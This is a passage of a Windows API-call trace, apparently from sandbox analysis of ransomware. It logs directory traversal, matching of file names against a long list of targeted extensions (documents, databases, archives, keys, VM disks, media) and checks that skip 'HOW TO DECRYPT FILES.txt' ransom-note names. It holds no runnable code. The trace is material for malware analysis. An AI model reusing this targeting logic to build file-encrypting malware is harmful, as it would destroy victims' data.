(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.ost") returned 0 [0104.268] lstrlenA (lpString="*.ost") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.idx") returned 0 [0104.269] lstrlenA (lpString="*.idx") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.dbx") returned 0 [0104.269] lstrlenA (lpString="*.dbx") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.sql") returned 0 [0104.269] lstrlenA (lpString="*.sql") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mdb") returned 0 [0104.269] lstrlenA (lpString="*.mdb") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.fdb") returned 0 [0104.269] lstrlenA (lpString="*.fdb") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.wab") returned 0 [0104.269] lstrlenA (lpString="*.wab") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.dat") returned 0 [0104.269] lstrlenA (lpString="*.dat") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.txt") returned 0 [0104.269] lstrlenA (lpString="*.txt") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.jpeg") returned 0 [0104.269] lstrlenA (lpString="*.jpeg") returned 6 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.jpg") returned 0 [0104.269] lstrlenA (lpString="*.jpg") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.png") returned 0 [0104.269] lstrlenA (lpString="*.png") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.php") returned 0 [0104.269] lstrlenA (lpString="*.php") returned 5 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.cs") returned 0 [0104.269] lstrlenA (lpString="*.cs") returned 4 [0104.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.cpp") returned 0 [0104.270] lstrlenA (lpString="*.cpp") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.rar") returned 0 [0104.270] lstrlenA (lpString="*.rar") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.zip") returned 0 [0104.270] lstrlenA (lpString="*.zip") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.html") returned 0 [0104.270] lstrlenA (lpString="*.html") returned 6 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.htm") returned 0 [0104.270] lstrlenA (lpString="*.htm") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.xlsx") returned 0 [0104.270] lstrlenA (lpString="*.xlsx") returned 6 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.xls") returned 0 [0104.270] lstrlenA (lpString="*.xls") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mp4") returned 0 [0104.270] lstrlenA (lpString="*.mp4") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.ppt") returned 0 [0104.270] lstrlenA (lpString="*.ppt") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.pptx") returned 0 [0104.270] lstrlenA (lpString="*.pptx") returned 6 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.doc") returned 0 [0104.270] lstrlenA (lpString="*.doc") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.dot") returned 0 [0104.270] lstrlenA (lpString="*.dot") returned 5 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.docx") returned 0 [0104.270] lstrlenA (lpString="*.docx") returned 6 [0104.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.7z") returned 0 [0104.271] lstrlenA (lpString="*.7z") returned 4 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.tar") returned 0 [0104.271] lstrlenA (lpString="*.tar") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.bz2") returned 0 [0104.271] lstrlenA (lpString="*.bz2") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.gz") returned 0 [0104.271] lstrlenA (lpString="*.gz") returned 4 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mkv") returned 0 [0104.271] lstrlenA (lpString="*.mkv") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.eml") returned 0 [0104.271] lstrlenA (lpString="*.eml") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.msg") returned 0 [0104.271] lstrlenA (lpString="*.msg") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.edb") returned 0 [0104.271] lstrlenA (lpString="*.edb") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.accdb") returned 0 [0104.271] lstrlenA (lpString="*.accdb") returned 7 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.odb") returned 0 [0104.271] lstrlenA (lpString="*.odb") returned 5 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.java") returned 0 [0104.271] lstrlenA (lpString="*.java") returned 6 [0104.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.asm") returned 0 [0104.271] lstrlenA (lpString="*.asm") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.pfx") returned 0 [0104.272] lstrlenA (lpString="*.pfx") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.pem") returned 0 [0104.272] lstrlenA (lpString="*.pem") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.p12") returned 0 [0104.272] lstrlenA (lpString="*.p12") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.gpg") returned 0 [0104.272] lstrlenA (lpString="*.gpg") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.vsd") returned 0 [0104.272] lstrlenA (lpString="*.vsd") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.odg") returned 0 [0104.272] lstrlenA (lpString="*.odg") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.raw") returned 0 [0104.272] lstrlenA (lpString="*.raw") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.nef") returned 0 [0104.272] lstrlenA (lpString="*.nef") returned 5 [0104.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.svg") returned 0 [0104.272] lstrlenA (lpString="*.svg") returned 5 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.psd") returned 0 [0104.273] lstrlenA (lpString="*.psd") returned 5 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.vmx") returned 0 [0104.273] lstrlenA (lpString="*.vmx") returned 5 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.vmdk") returned 0 [0104.273] lstrlenA (lpString="*.vmdk") returned 6 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.vdi") returned 0 [0104.273] lstrlenA (lpString="*.vdi") returned 5 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.lay6") returned 0 [0104.273] lstrlenA (lpString="*.lay6") returned 6 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mpeg") returned 0 [0104.273] lstrlenA (lpString="*.mpeg") returned 6 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.djvu") returned 0 [0104.273] lstrlenA (lpString="*.djvu") returned 6 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.tiff") returned 0 [0104.273] lstrlenA (lpString="*.tiff") returned 6 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.backup") returned 0 [0104.273] lstrlenA (lpString="*.backup") returned 8 [0104.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.pdf") returned 0 [0104.274] lstrlenA (lpString="*.pdf") returned 5 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.cert") returned 0 [0104.274] lstrlenA (lpString="*.cert") returned 6 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.docm") returned 0 [0104.274] lstrlenA (lpString="*.docm") returned 6 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.xlsm") returned 0 [0104.274] lstrlenA (lpString="*.xlsm") returned 6 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.dwg") returned 0 [0104.274] lstrlenA (lpString="*.dwg") returned 5 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.nd") returned 0 [0104.274] lstrlenA (lpString="*.nd") returned 4 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.tlg") returned 0 [0104.274] lstrlenA (lpString="*.tlg") returned 5 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.lgb") returned 0 [0104.274] lstrlenA (lpString="*.lgb") returned 5 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mov") returned 0 [0104.274] lstrlenA (lpString="*.mov") returned 5 [0104.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.xdw") returned 0 [0104.275] lstrlenA (lpString="*.xdw") returned 5 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.ods") returned 0 [0104.275] lstrlenA (lpString="*.ods") returned 5 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.wav") returned 0 [0104.275] lstrlenA (lpString="*.wav") returned 5 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mp3") returned 0 [0104.275] lstrlenA (lpString="*.mp3") returned 5 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.aiff") returned 0 [0104.275] lstrlenA (lpString="*.aiff") returned 6 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.flac") returned 0 [0104.275] lstrlenA (lpString="*.flac") returned 6 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.m4a") returned 0 [0104.275] lstrlenA (lpString="*.m4a") returned 5 [0104.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.csv") returned 0 [0104.275] lstrlenA (lpString="*.csv") returned 5 [0104.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e8d20, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc3e8d20, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc64a324, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xbab000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCore.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.275] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.275] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2ad23de8284d4594aa658dfb5e667d97", cAlternateFileName="2AD23D~1")) returned 0 [0104.276] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.276] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFontCac#", cAlternateFileName="PR4F1C~1")) returned 1 [0104.276] lstrcmpA (lpString1=".", lpString2="PresentationFontCac#") returned -1 [0104.276] lstrcmpA (lpString1="..", lpString2="PresentationFontCac#") returned -1 [0104.276] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.276] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationFontCac#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#" [0104.276] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#") returned 67 [0104.276] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.278] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.278] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.278] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.278] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b3ade8d5c0d4bb5d4940bcafd3453642", cAlternateFileName="B3ADE8~1")) returned 1 [0104.278] lstrcmpA (lpString1=".", lpString2="b3ade8d5c0d4bb5d4940bcafd3453642") returned -1 [0104.278] lstrcmpA (lpString1="..", lpString2="b3ade8d5c0d4bb5d4940bcafd3453642") returned -1 [0104.279] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\*.*") returned="*.*" [0104.279] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\", lpString2="b3ade8d5c0d4bb5d4940bcafd3453642" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642" [0104.279] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642") returned 100 [0104.279] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.279] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.279] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.279] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x719bf224, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x719bf224, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x719bf224, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFontCache.ni.exe", cAlternateFileName="PRESEN~1.EXE")) returned 1 [0104.279] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFontCache.ni.exe") returned -1 [0104.279] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFontCache.ni.exe") returned -1 [0104.280] lstrcmpiA (lpString1="", lpString2="PresentationFontCache.ni.exe") returned -1 [0104.280] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\*.*") returned="*.*" [0104.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\" | 